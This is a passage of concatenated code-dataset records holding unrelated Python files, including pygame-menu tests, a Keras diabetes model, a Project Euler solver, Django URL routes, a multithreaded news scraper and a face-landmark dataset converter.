_column_menu.draw(surface))\r\n _column_menu.enable()\r\n _column_menu.draw(surface)\r\n _column_menu.disable()\r\n self.assertRaises(RuntimeError, lambda: _column_menu.draw(surface))\r\n self.assertRaises(AssertionError, lambda: _column_menu.add_button('test', pygame_menu.events.BACK)) # 9th item\r\n\r\n def test_touchscreen(self):\r\n \"\"\"\r\n Test menu touchscreen behaviour.\r\n \"\"\"\r\n vmajor, _, _ = pygame.version.vernum\r\n if vmajor < 2:\r\n return\r\n\r\n menu = MenuUtils.generic_menu(title='mainmenu', touchscreen_enabled=True)\r\n menu.mainloop(surface, bgfun=dummy_function)\r\n\r\n # Add a menu and a method that set a function\r\n event_val = [False]\r\n\r\n def _some_event():\r\n event_val[0] = True\r\n return 'the value'\r\n\r\n # Add some widgets\r\n button = menu.add_button('button', _some_event)\r\n\r\n # Check touch\r\n click_pos = PygameUtils.get_middle_rect(button.get_rect())\r\n menu.update(PygameUtils.touch_click(click_pos[0], click_pos[1], normalize=False)) # Event must be normalized\r\n self.assertFalse(event_val[0])\r\n\r\n menu.update(PygameUtils.touch_click(click_pos[0], click_pos[1], menu=menu))\r\n self.assertTrue(event_val[0])\r\n event_val[0] = False\r\n self.assertEqual(menu.get_selected_widget().get_id(), button.get_id())\r\n btn = menu.get_selected_widget() # type: Button\r\n self.assertTrue(btn.get_selected_time() >= 0)\r\n","sub_path":"test/test_menu.py","file_name":"test_menu.py","file_ext":"py","file_size_in_byte":23546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"165508492","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.datasets import load_diabetes\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score\nfrom tensorflow.python.keras.models import Sequential, load_model\nfrom tensorflow.keras.layers import Dense\nfrom sklearn.preprocessing import StandardScaler\n\n# 당뇨 예측\n\n# 1. 데이터\ndatasets = load_diabetes()\nx = datasets.data\ny = datasets.target\n\nprint(x.shape) # (442, 10)\nprint(y.shape) # (442, )\n\nprint(datasets.feature_names)\n# 'age', 'sex', 'bmi', 'bp', 's1', 's2', 's3', 's4', 's5', 's6']\n# 10가지의 지수를 통해 당뇨병 지수를 파악한다 \n\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, \ntrain_size=0.7, shuffle=True, random_state=9)\n\nscaler = StandardScaler()\nx_train = scaler.fit_transform(x_train)\nx_train = scaler.transform(x_train)\n\n# 2. modeling\n# model = load_model('./_save/keras46_1_save.model_1.h5') # r2 스코어: -3.5697476574048084\nmodel = load_model('./_save/keras46_1_save.model_2.h5') # r2 스코어: -3.381975340046383\n# -> model+ fit까지 모두 ���장하였기 때문에 가중치까지 저장됨 => 결과치까지 저장된다\n# 즉, 가중치까지 저장하려면 fit 이후인 위치에 save()를 해주어야 한다 \n\nmodel.summary()\n\n\n# 3. compile\n'''\nmodel.compile(loss='mse', optimizer='adam')\n\nmodel.fit(x_train, y_train, epochs=100, batch_size=10, \nvalidation_split=0.03, shuffle=True)'''\n\n# 4. evaluate, predict\nloss = model.evaluate(x_test, y_test) # x_test를 통해 예측한 값, 실제 y_test의 값의 차이를 loss\nprint('loss:', loss)\n# loss: 3002.1416015625\n\ny_pred = model.predict(x_test)\nprint('y예측값: ', y_pred)\n\nr2 = r2_score(y_test, y_pred)\nprint('r2 스코어: ', r2)\n# r2 스코어: \n\n# 과제 1\n# r2 0.62 이상으로 올릴것 -> mail에 github 주소 보내도록\n\n# loss: 2337.067138671875\n# r2 스코어: 0.5770988303739539\n\n# load_model()s\n\n","sub_path":"keras1/keras46_2_load_model.py","file_name":"keras46_2_load_model.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"306949478","text":"# Project Euler Problem 17\n# Justin Kim\n# How many letters in spelling out numbers 1-1000\n# SHORT LIBRARY WAY: NUM2WORD OR INFLECT\n\nimport time\nstart_time = time.perf_counter()\n\n\nby_one = [\"one\", \"two\", \"three\", \"four\", \"five\", \"six\", \"seven\", \"eight\",\n \"nine\", \"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\", \"fifteen\",\n \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\"]\n\nby_ten = [\"twenty\", \"thirty\", \"forty\", \"fifty\", \"sixty\", \"seventy\", \"eighty\",\n \"ninety\"]\n\ndef spell_number(n):\n if n <= 19:\n return by_one[n - 1]\n elif 20 <= n <= 99:\n if n % 10 == 0:\n return by_ten[int(str(n)[0]) - 2]\n else:\n return by_ten[int(str(n)[0]) - 2] + \"-\" + by_one[int(str(n)[1]) - 1]\n elif 100 <= n <= 999:\n if str(n)[1] == \"0\" and str(n)[2] == \"0\":\n return by_one[int(str(n)[0]) - 1] + \" hundred\"\n elif str(n)[1] == \"0\":\n return by_one[int(str(n)[0]) - 1] + \" hundred and \" + by_one[int(str(n)[2]) - 1]\n elif str(n)[2] == \"0\" and str(n)[1] == \"1\":\n return by_one[int(str(n)[0]) - 1] + \" hundred and \" + by_one[9]\n elif str(n)[2] == \"0\":\n return by_one[int(str(n)[0]) - 1] + \" hundred and \" + by_ten[int(str(n)[1]) - 2]\n elif str(n)[1] == \"1\":\n return by_one[int(str(n)[0]) - 1] + \" hundred and \"+ by_one[int(str(n)[2]) + 9]\n else:\n return by_one[int(str(n)[0]) - 1] + \" hundred and \" + by_ten[int(str(n)[1]) - 2] + \"-\" + by_one[int(str(n)[2]) - 1]\n elif n == 1000:\n return \"one thousand\"\n\nspelled = []\nans = 0\nfor i in range(1, 1001):\n spelled.append(spell_number(i))\n ans += sum(c != ' ' for c in spelled[i - 1])\n ans -= sum(c == '-' for c in spelled[i - 1])\n\nelapsed_time = time.perf_counter() - start_time\n\nprint(ans)\nasdf = 30\n","sub_path":"old/P17.py","file_name":"P17.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"594594165","text":"graph={'Garden East':set(['Lasbella','Gurumandir','Soldier Bazar']),\r\n 'Lasbella':set(['Nazimabad']),\r\n 'Gurumandir':set(['Liaqatabad']),\r\n 'Soldier Bazar':set(['Numaish','Gurumandir']),\r\n 'Nazimabad':set(['KDA']),\r\n 'Liaqatabad':set(['Karimabad']),\r\n 'Numaish':set(['Gurumandir','Kashmir road']),\r\n 'KDA':set(['School']),\r\n 'Karimabad':set(['Ziauddin']),\r\n 'Ziauddin':set(['School']),\r\n 'Kashmir road':set(['Gurumandir']),\r\n 'School':set(['KDA','Karimabad']),\r\n 'Buffer Zone':set(['Nazimabad','Water Pump']),\r\n 'Water Pump':set(['Ayesha Manzil']),\r\n 'Ayesha Manzil':set(['Karimabad']),\r\n 'Al noor':set(['Sakhi Hassan','Water Pump']),\r\n 'Sakhi Hassan':set(['KDA'])\r\n }\r\ndef dfs_path_finding(graph,source,destination):\r\n vertexs=[(source,[source])]\r\n while vertexs:\r\n (vertex,path)=vertexs.pop()\r\n for next in graph[vertex]-set(path):\r\n if next==destination:\r\n yield path+[next]\r\n else:\r\n vertexs.append((next,path+[next]))","sub_path":"Data Structures (S-M-S)/projectt/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"79915343","text":"# _*_ coding: utf-8 _*_\n# @file urls.py\n# @author NJiangpeng(956079758@qq.com)\n# @date 2018-05-31 15:58:19\n\nfrom django.urls import path\nfrom . import views\n\napp_name = 'app_page'\n\nurlpatterns = [\n path('',views.index,name='index'),\n path('topics/',views.topics,name='topics'),\n ]\n","sub_path":"Python/project/django_use/app_page/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"387071994","text":"import pandas as pd\nfrom pandas import DataFrame, read_csv\nimport numpy as np\nimport os.path\nfrom matplotlib.image import imread as read_image\nfrom matplotlib.image import imsave as save_image\nimport matplotlib.pyplot as plot\nfrom matplotlib.patches import Rectangle\nfrom urllib.request import urlretrieve\nfrom random import randint, choice\nfrom argparse import ArgumentParser\nfrom skimage.transform import resize\n\n__doc__ = 'convert pictures in DiF to 480x640 images with data augmentation'\n\nTEST_MODE = False\n\nSTART_LINE = 1\nCONVERT_NUM = 100\nINPUT_CSV_PATH = 'DiF/DiF_v1.csv'\nIMAGE_BUFFER_PATH = 'full_images/'\nOUTPUT_FOLDER = './'\n\nCSV_BUFFER_PATH = 'DataFrameBuffer.pkl'\n\ntarget_image_width = 480\ntarget_image_height = 640\ntarget_image_shape = (target_image_height, target_image_width, 3)\ncrop_ratio_range = [0.5, 0.6, 0.8, 1]\n\n\ndef crop_face(image, img_width, img_height, box_x1, box_y1, box_x2, box_y2):\n crop_area_ratio = choice(crop_ratio_range)\n crop_width = int(target_image_width * crop_area_ratio)\n crop_height = int(target_image_height * crop_area_ratio)\n crop_shape = (crop_height, crop_width, 3)\n # crop area is bigger\n if img_width < crop_width and img_height < crop_height:\n # apply zero padding, put image on the middle\n pad = np.zeros(crop_shape, dtype=np.uint8)\n x_offset = (crop_width - img_width) // 2\n y_offset = (crop_height - img_height) // 2\n pad[y_offset:img_height + y_offset, x_offset:img_width + x_offset, :] = image\n elif img_width < crop_width:\n pad = np.zeros(crop_shape, dtype=np.uint8)\n x_offset = (crop_width - img_width) // 2\n possible_yoff_start = max([0, box_y2 - crop_height])\n possible_yoff_end = min([img_height - crop_height, box_y1])\n y_offset = randint(possible_yoff_start, possible_yoff_end)\n pad[:, x_offset:x_offset + img_width, :] = image[y_offset:y_offset + crop_height, :, :]\n y_offset = -y_offset\n elif img_height < crop_height:\n pad = np.zeros(crop_shape, dtype=np.uint8)\n y_offset = (crop_height - img_height) // 2\n possible_xoff_start = max([0, box_x2 - crop_width])\n possible_xoff_end = min([img_width - crop_width, box_x1])\n x_offset = randint(possible_xoff_start, possible_xoff_end)\n pad[y_offset:y_offset + img_height, :, :] = image[:, x_offset:x_offset + crop_width, :]\n x_offset = -x_offset\n else:\n # usual case when image > 480x640, select a random place to get a 480x640 image containing the face\n possible_xoff_start = max([0, box_x2 - crop_width])\n possible_xoff_end = min([img_width - crop_width, box_x1])\n possible_yoff_start = max([0, box_y2 - crop_height])\n possible_yoff_end = min([img_height - crop_height, box_y1])\n x_offset = randint(possible_xoff_start, possible_xoff_end)\n y_offset = randint(possible_yoff_start, possible_yoff_end)\n pad = image[y_offset:y_offset + crop_height, x_offset:x_offset + crop_width, :]\n x_offset, y_offset = -x_offset, -y_offset\n\n out_image = resize(pad, output_shape=target_image_shape)\n return out_image, x_offset, y_offset, crop_area_ratio\n\n\ndef produce_positive_data(row, image):\n # extract information\n face_id, url, img_width, img_height, box_x1, box_x2, box_y1, box_y2 = \\\n row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]\n # find a random place to crop face\n image, x_off, y_off, ratio = crop_face(image, img_width, img_height, box_x1, box_y1, box_x2, box_y2)\n # output image\n out_image_path = os.path.join(OUTPUT_FOLDER, '%07d-01.png' % face_id)\n save_image(out_image_path, image)\n # create point data with offset\n points = (np.asarray(row[5:145]).reshape((70, 2)) + (x_off, y_off)) / ratio\n # output content: id, classification, bounding box, landmarks\n out_points_path = os.path.join(OUTPUT_FOLDER, \"%07d-01.pts\" % face_id)\n with open(out_points_path, 'w') as file:\n file.write('1,0\\n')\n for point in points:\n file.write('{},{}\\n'.format(point[0], point[1]))\n\n\ndef try_download(url, folder):\n \"\"\"\n :param url: url for the image\n :param folder: where to put the image\n :return: image path\n \"\"\"\n image_path = os.path.join(folder, str(url).split('/')[-1])\n if not os.path.isfile(image_path):\n print('image with path {} not present. downloading from {}'.format(image_path, url))\n urlretrieve(url, filename=image_path)\n return image_path\n\n\ndef read_dataset(start, num):\n if os.path.isfile(CSV_BUFFER_PATH):\n print('reading DataFrame directly')\n return pd.read_pickle(CSV_BUFFER_PATH).loc[start - 1:start + num - 2]\n else:\n print('reading csv file...')\n table: DataFrame = pd.read_csv(INPUT_CSV_PATH, sep=',', header=None)\n table.to_pickle(CSV_BUFFER_PATH)\n return table.loc[start - 1:start + num - 2]\n\n\ndef main():\n assert os.path.isfile(INPUT_CSV_PATH)\n # first construct folders if not present\n if not os.path.isdir(OUTPUT_FOLDER):\n os.mkdir(OUTPUT_FOLDER)\n if not os.path.isdir(IMAGE_BUFFER_PATH):\n os.mkdir(IMAGE_BUFFER_PATH)\n\n # read data into memory\n table = read_dataset(START_LINE, CONVERT_NUM)\n\n # for each row, convert data\n for row in table.itertuples():\n url = row[2]\n image_name = try_download(url, IMAGE_BUFFER_PATH)\n if os.path.isfile(image_name):\n image = read_image(image_name)\n produce_positive_data(row, image)\n else:\n raise AssertionError('file with name {} should exist but not found'.format(image_name))\n\n\ndef test_convert():\n global START_LINE, CONVERT_NUM, OUTPUT_FOLDER, IMAGE_BUFFER_PATH, INPUT_CSV_PATH\n START_LINE = 1\n CONVERT_NUM = 10\n OUTPUT_FOLDER = './output'\n IMAGE_BUFFER_PATH = '/Volumes/SeanSSD/DiF/DiF_1/images/'\n INPUT_CSV_PATH = '/Users/seancheey/Downloads/DiF/DiF_v1.csv'\n main()\n\n\ndef test_output(image_path: str):\n \"\"\"\n :param image_path:\n :return:\n >>> test_output('output/0000004-01.png')\n \"\"\"\n points_path = image_path.replace('.png', '.pts')\n assert os.path.isfile(image_path)\n assert os.path.isfile(points_path)\n image = read_image(image_path)\n m = read_csv(points_path, header=None).values\n print(m)\n classification = m[0, 0]\n bounding_box = m[1:3, :]\n landmarks = m[3:71, :]\n plot.imshow(image)\n for xs, ys in _face_segments(landmarks):\n plot.plot(xs, ys, color='cyan', linewidth=0.5)\n plot.gca().add_patch(\n Rectangle(bounding_box[0], bounding_box[1, 0] - bounding_box[0, 0], bounding_box[1, 1] - bounding_box[0, 1],\n fill=False))\n plot.show()\n\n\ndef _face_segments(points):\n yield points[0:17, 0], points[0:17, 1]\n yield points[17:27, 0], points[17:27, 1]\n yield points[27:36, 0], points[27:36, 1]\n yield points[36:42, 0], points[36:42, 1]\n yield points[42:48, 0], points[42:48, 1]\n yield points[48:68, 0], points[48:68, 1]\n\n\nif __name__ == '__main__':\n if TEST_MODE:\n test_convert()\n else:\n parser = ArgumentParser(description=\"python script to convert DiF points to separated csv points file\")\n parser.add_argument('-s', '--start', help=\"start line number\", default=START_LINE, required=True)\n parser.add_argument('-n', '--num', help='number of points to convert', default=CONVERT_NUM, required=True)\n parser.add_argument('-c', '--csv', help='input csv file or pkl file to read', default=INPUT_CSV_PATH,\n required=False)\n parser.add_argument('-b', '--buffer', help='buffer image folder', default=IMAGE_BUFFER_PATH, required=False)\n parser.add_argument('-o', '--output', help='destination folder to store points', required=True)\n\n args = parser.parse_args()\n START_LINE = int(args.start)\n CONVERT_NUM = int(args.num)\n INPUT_CSV_PATH = args.csv\n IMAGE_BUFFER_PATH = args.buffer\n OUTPUT_FOLDER = args.output\n main()\n","sub_path":"convert_480p.py","file_name":"convert_480p.py","file_ext":"py","file_size_in_byte":8025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"49395340","text":"from django.urls import path\n\nfrom .views import (\n index,\n connexion,\n loggout,\n projet,\n # pepiniere,\n # detail_pepiniere,\n # formation,\n detail_proj,\n localisation,\n detail_coop,\n # chart,\n prod_coop,\n parcelle_coop,\n localisation_coop,\n section_coop,\n sous_section_coop,\n planting_coop, Stats_coop, Production_plan,\n Stats_semences, stat_prod_coop, plants_coop, semences_coop, formations, detail_formation, site_pepinieres,\n coop_pepiniere, pepiniere, pepiniere_coop,\n # detail_formation,\n)\n\nurlpatterns = [\n path('', connexion, name='connexion'),\n path('logout', loggout, name='logout'),\n path('index/', index, name='accueil'),\n path('projets/', projet, name='projets'),\n path('pepinieres/', pepiniere, name='pepinieres'),\n path('pepiniere_coop/', pepiniere_coop, name='pepiniere_coop'),\n path('formation/', formations, name='formations'),\n path('formation//', detail_formation, name='formation'),\n path('Stats_coop/', Stats_coop, name='stats_coop'),\n path('Stats_semences/', Stats_semences, name='stats_semences'),\n path('Production_plan/', Production_plan, name='production_plan'),\n path('stat_prod_coop/', stat_prod_coop, name='stat_prod_coop'),\n path('plants_coop/', plants_coop, name='plants_coop'),\n path('semences_coop/', semences_coop, name='semences_coop'),\n # path('pepiniere/', pepiniere, name='pepiniere'),\n # path('formations/', formation, name='formations'),\n path('producteurs/', prod_coop, name='prod_coop'),\n path('parcelles/', parcelle_coop, name='parcelle_coop'),\n path('sections/', section_coop, name='section_coop'),\n path('sous_sections/', sous_section_coop, name='sous_section_coop'),\n path('planting/', planting_coop, name='planting_coop'),\n path('coordonnes/', localisation_coop, name='localisation_coop'),\n path('localisation/', localisation, name='localisation'),\n path('detail_proj/', detail_proj, name='detail_proj'),\n path('site_pepinieres/', site_pepinieres, name='site_pepinieres'),\n path('coop_pepiniere/', coop_pepiniere, name='coop_pepiniere'),\n # path('detail_pepiniere/', detail_pepiniere, name='detail_pepiniere'),\n # path('formation/', detail_formation, name='formation'),\n path('detail_coop/', detail_coop, name='detail_coop'),\n # path('chart/', chart, name='chart'),\n]\n","sub_path":"parametres/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"457290509","text":"# Given two integers n and k, return all possible combinations of k numbers out of 1 ... n.\n#\n# For example,\n# If n = 4 and k = 2, a solution is:\n#\n# [\n# [2,4],\n# [3,4],\n# [2,3],\n# [1,2],\n# [1,3],\n# [1,4],\n# ]\n\nimport itertools\n\ndef combine(n, k):\n ans = []\n candidates = [i + 1 for i in range(n)]\n combs = itertools.combinations(candidates, k)\n for comb in combs:\n ans.append(comb)\n return ans","sub_path":"77Combinations.py","file_name":"77Combinations.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"468982395","text":"#!/usr/bin/env python\n# Licensed under a 3-clause BSD style license, see LICENSE.\n\"\"\"\nTests for the skhep.utils.provenance module.\n\"\"\"\n\n# -----------------------------------------------------------------------------\n# Import statements\n# -----------------------------------------------------------------------------\nimport pytest\n\nfrom skhep.utils import *\nfrom skhep.utils.provenance import Provenance, Origin # these are not imported automatically\n\n\n# -----------------------------------------------------------------------------\n# Actual tests\n# -----------------------------------------------------------------------------\n\ndef test_base_classes():\n with pytest.raises(TypeError):\n Provenance.__init__()\n with pytest.raises(TypeError):\n Origin.__init__()\n\ndef test_ObjectOrigin():\n with pytest.raises(TypeError):\n ObjectOrigin()\n with pytest.raises(AssertionError):\n ObjectOrigin([1,2,3])\n prov = ObjectOrigin('array_of_ints')\n assert prov.__repr__() == ''\n assert prov.detail == 'array_of_ints'\n\ndef test_FileOrigin():\n with pytest.raises(TypeError):\n FileOrigin.__init__()\n prov1 = FileOrigin('file.root')\n assert prov1.__repr__() == ''\n assert prov1.detail == '\"file.root\"'\n prov1bis = FileOrigin(['file.root'])\n assert prov1bis.__repr__() == ''\n assert prov1bis.detail == '\"file.root\"'\n prov3 = FileOrigin(['file1.root', 'file2.root','file3.root'])\n assert prov3.__repr__() == ''\n assert prov3.detail == '\"file1.root\",\"file2.root\",\"file3.root\"'\n with pytest.raises(AssertionError):\n prov4 = FileOrigin([1,2,3])\n\ndef test_Transformation():\n with pytest.raises(TypeError):\n Transformation.__init__()\n transf = Transformation('all elms * 2')\n assert transf.__repr__() == ''\n assert transf.detail == 'all elms * 2 (,)'\n\ndef test_Formatting():\n with pytest.raises(TypeError):\n Formatting.__init__()\n","sub_path":"tests/utils/test_provenance.py","file_name":"test_provenance.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"141061463","text":"from queue import Queue\nimport threading\nimport datetime\nimport pyodbc\nfrom sqlalchemy import create_engine\nimport requests as rq\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport crawler.tool as crawler_tool\nimport time\nimport random\nimport os\nimport json\nimport re\n\nfrom crawler.ctee import ctee_GET_NEWS_time_threading\nfrom crawler.anue import anue_GET_NEWS_time_threading\nfrom crawler.rti import rti_GET_NEWS_time_threading\nfrom crawler.money_udn import moneyudn_GET_NEWS_time_threading\nfrom crawler.China_Time import chinatime_GET_NEWS_time_threading\nfrom crawler.setn import setn_GET_NEWS_time_threading\nfrom crawler.cna import cna_GET_NEWS_time_threading\nfrom crawler.tvbs import tvbs_GET_NEWS_time_threading\nfrom crawler.moneyDJ import moneyDJ_GET_NEWS_time_threading\n\n\ndef get_data(decide_time_begin, decide_time_end):\n begin_time = datetime.datetime.today()\n q = Queue()\n threads = []\n\n for kind in [ctee_GET_NEWS_time_threading, moneyudn_GET_NEWS_time_threading, chinatime_GET_NEWS_time_threading,\n setn_GET_NEWS_time_threading, anue_GET_NEWS_time_threading, rti_GET_NEWS_time_threading,\n cna_GET_NEWS_time_threading, tvbs_GET_NEWS_time_threading, moneyDJ_GET_NEWS_time_threading]:\n t = threading.Thread(target=kind, args=(decide_time_begin, decide_time_end, q))\n t.start()\n threads.append(t)\n\n for thread in threads:\n thread.join()\n\n result = []\n for _q in range(len(threads)):\n result.append(q.get())\n\n df = pd.concat([result[i] for i in range(len(result))], ignore_index=True)\n df = df.drop_duplicates(subset=[\"Title\"]).sort_values(\"Time\")\n file_name = \"D:/User/Desktop/corpus/news/_concat/\" + decide_time_begin + \"_\" + decide_time_end + \"_concat.csv\"\n df.to_csv(file_name, encoding=\"utf-8\")\n print(\"processing time:\", datetime.datetime.today() - begin_time)\n return df\n\n\ndef creator():\n # connect database of sentiment index\n return pyodbc.connect(r'Driver={SQL Server};Server=DESKTOP-OKF0JOA;Database=test;Trusted_Connection=yes')\n\n\nif __name__ == \"__main__\":\n today = datetime.datetime.today()\n\n if today.month < 10:\n today_month = \"0\" + str(today.month)\n else:\n today_month = str(today.month)\n\n if today.day < 10:\n today_day = '0' + str(today.day)\n else:\n today_day = str(today.day)\n\n # 盤中新聞\n if today.hour >= 14:\n time_begin = str(today.year) + today_month + today_day + \"1330\"\n time_end = str(today.year) + today_month + today_day + \"0830\"\n\n # 盤後新聞 1330-0830\n elif 8 <= today.hour < 14:\n yesterday = today - datetime.timedelta(days=1)\n\n if yesterday.month < 10:\n yesterday_month = \"0\" + str(yesterday.month)\n else:\n yesterday_month = str(yesterday.month)\n\n if yesterday.day < 10:\n yesterday_day = '0' + str(yesterday.day)\n else:\n yesterday_day = str(yesterday.day)\n\n time_begin = str(today.year) + today_month + today_day + \"0830\"\n time_end = str(yesterday.year) + yesterday_month + yesterday_day + \"1330\"\n\n print(\"begin time:\", time_begin)\n print(\"end time: \", time_end)\n df_news = get_data(time_begin, time_end)\n df_news = df_news.reset_index(drop=True)\n Engine = create_engine('mssql://', creator=creator)\n cnx = Engine.connect()\n df_news.to_sql(\"NEWS\", cnx, index=False, if_exists=\"append\", chunksize=10000)\n\n\n'''\n#手動處理\ndf_news = get_data(time_begin, time_end)\ndf_news = df_news.reset_index(drop=True)\nEngine = create_engine('mssql://', creator=creator)\ncnx = Engine.connect()\ndf_news.to_sql(\"NEWS\", cnx, index=False, if_exists=\"append\", chunksize=10000)\n'''\n","sub_path":"multithreading.py","file_name":"multithreading.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"467521392","text":"#!/usr/bin/python3\nfrom __future__ import print_function\nimport readLikelyBin\nimport readAllBin\nimport argparse\n\n\ndef readVarVals (fileName):\n with open(fileName) as namesFile:\n numVars = int(namesFile.readline())\n varNames = []\n valNames = []\n for varCounter in range(numVars):\n varName = namesFile.readline().strip()\n varNames.append(varName)\n numVals = int(namesFile.readline())\n currentValNames = []\n for valCounter in range(numVals):\n valName = namesFile.readline().strip()\n currentValNames.append(valName)\n valNames.append(currentValNames)\n return (varNames, valNames)\n\ndef is_subset(itemset1, itemset2, domain_sizes):\n if len(itemset1) != len(itemset2):\n print (\"itemsets have different sizes!\")\n exit(1)\n subset = True\n for varId in range(len(itemset1)):\n if itemset1[varId] != itemset2[varId] and itemset1[varId] != domain_sizes[varId]:\n subset = False\n break\n return subset\n\ndef extractClosed(lip2map, domain_sizes):\n probDict = dict()\n for itemset in lip2map.keys():\n prob = lip2map[itemset]\n if prob not in probDict.keys():\n probDict[prob] = set()\n probDict[prob].add(itemset)\n\n closed = set()\n for itemset1 in lip2map.keys():\n prob = lip2map[itemset1]\n fail = False\n for itemset2 in probDict[prob]:\n if itemset2 != itemset1 and is_subset(itemset1, itemset2, domain_sizes):\n prob2 = lip2map[itemset2]\n if prob == prob2:\n fail = True\n break\n if not fail:\n closed.add(itemset1)\n\n return closed\n\ndef extractMaximal(itemsets, domain_sizes):\n maximal = set()\n marked = set()\n while itemsets:\n marked.clear()\n itemset1 = itemsets.pop()\n fail = False\n for itemset2 in maximal:\n if is_subset(itemset2, itemset1, domain_sizes):\n marked.add(itemset2)\n else:\n if is_subset(itemset1, itemset2, domain_sizes):\n fail = True\n break\n if not fail:\n for itemset in marked:\n maximal.remove(itemset)\n maximal.add(itemset1)\n\n return maximal\n\n\ndef main():\n parser = argparse.ArgumentParser(fromfile_prefix_chars='@')\n parser.add_argument(\"-b\", \"--cp-binary\", help=\"the binary output file of cp itemset miner\", required=True)\n parser.add_argument(\"-a\", \"--enum-binary\", help=\"the binary output of brute-force itemset enumerator\", required=True)\n parser.add_argument(\"-n\", \"--names-file\", help=\"the 'names' file produced by cp itemset miner\", required=True)\n parser.add_argument(\"-v\", \"--varval-file\", help=\"the 'varval' file produced by brute-force itemset enumerator\", required=True)\n parser.add_argument(\"-t\", \"--itemset-type\", help=\"itemset types (probable, maximal, or closed)\", type=str, default='probable')\n parser.add_argument(\"-f\", \"--report-file\", help=\"a file to which a detailed report will be written\")\n args = parser.parse_args()\n\n if args.itemset_type not in {'probable', 'closed', 'maximal'}:\n print (\"Itemset type should be 'probable', 'maximal', or 'closed'\")\n exit(1)\n\n rpf = None\n if (args.report_file != None):\n rpf = open(args.report_file, 'w')\n \n\n (lipmap, threshold, numVars, numValsList) = readLikelyBin.likelyProbs(args.cp_binary)\n (aipmap, numVars2, numValsList2) = readAllBin.allProbs(args.enum_binary, args.varval_file)\n\n namesFileName = args.names_file\n varvalFileName = args.varval_file\n\n (lVarNames, lValNames) = readVarVals (namesFileName)\n (aVarNames, aValNames) = readVarVals (varvalFileName)\n lVarNameToId = dict()\n lValNameToId = dict()\n for lVarNameCounter in range(len(lVarNames)):\n lVarNameToId [lVarNames[lVarNameCounter]] = lVarNameCounter\n for lValNameCounter in range(len(lValNames[lVarNameCounter])):\n lValNameToId [(lVarNames[lVarNameCounter], lValNames[lVarNameCounter][lValNameCounter])] = lValNameCounter\n \n def convertKey (key):\n key2 = [0] * len(aVarNames)\n for varId in range(len(aVarNames)):\n valId = key[varId] \n varId2 = lVarNameToId [aVarNames[varId]]\n if valId < len(aValNames[varId]):\n valId2 = lValNameToId [(aVarNames[varId], aValNames[varId][valId])]\n else:\n valId2 = valId\n key2 [varId2] = valId2\n return tuple(key2)\n\n # create another dictionary for likely itemsets from `all'\n lipmap2 = dict()\n for key in aipmap.keys():\n t = aipmap[key]\n if t >= threshold:\n key2 = convertKey(key)\n lipmap2[key2] = t\n\n\n lipkeys = lipmap.keys()\n lip2keys = lipmap2.keys()\n\n domain_sizes = [len(val_names) for val_names in lValNames]\n if args.itemset_type == 'closed':\n lip2keys = extractClosed (lipmap2, domain_sizes)\n elif args.itemset_type == 'maximal':\n lip2keys = extractMaximal (set(lip2keys), domain_sizes)\n\n # Q1. Are all likely itemsets enumerated?\n diff1 = set(lip2keys).difference(set(lipkeys))\n if len(diff1) and args.report_file != None:\n print (\"Itemsets found by ALL and missed by CP:\", file=rpf)\n for key in diff1:\n print (\"{} --> {}\".format(key, lipmap2[key]), file=rpf)\n\n diff2 = set(lipkeys).difference(set(lip2keys))\n if len(diff2) and args.report_file != None:\n print (\"Itemsets found by CP and missed by ALL:\", file=rpf)\n for key in diff2:\n (minprob,maxprob) = lipmap[key]\n print (\"{} --> [{} .. {}]\".format(key, minprob, maxprob), file=rpf)\n\n intersect = set(lipkeys).intersection(set(lip2keys))\n\n if (len(diff1) == 0 and len(diff2) == 0):\n print (\"[OK]\\tEquivalent sets of itemsets\")\n else:\n print (\"[FAIL]\\tCP:{} Enum:{} intersection:{}\".format(len(lipkeys), len(lip2keys), len(intersect)))\n \n # Q2. How close probabilities are?\n out_count = 0\n first = True\n for key in intersect:\n minprob = lipmap[key][0]\n maxprob = lipmap[key][1]\n trueprob = lipmap2[key]\n if (trueprob < minprob or trueprob > maxprob):\n if (first and args.report_file != None):\n print (\"Itemsets with different probabilities frome CP than brute-force enumeration\", file=rpf)\n first = False\n out_count += 1\n if (args.report_file != None):\n print (\"{} min:{} max:{} true:{}\".format(key, minprob, maxprob, trueprob), file=rpf)\n if out_count == 0:\n print (\"[OK]\\tAll probabilities in intersection ({}) within range\".format(len(intersect)))\n else:\n print (\"[FAIL]\\tintersection:{} in_range:{}\".format(len(intersect), len(intersect)-out_count))\n\n if (args.report_file != None):\n rpf.close()\n\nif __name__ == '__main__':\n main()\n","sub_path":"utils/CompareOutput/compareLikelyAll.py","file_name":"compareLikelyAll.py","file_ext":"py","file_size_in_byte":7027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"230085361","text":"import os\nfrom glob import glob \nimport pickle\n\n# 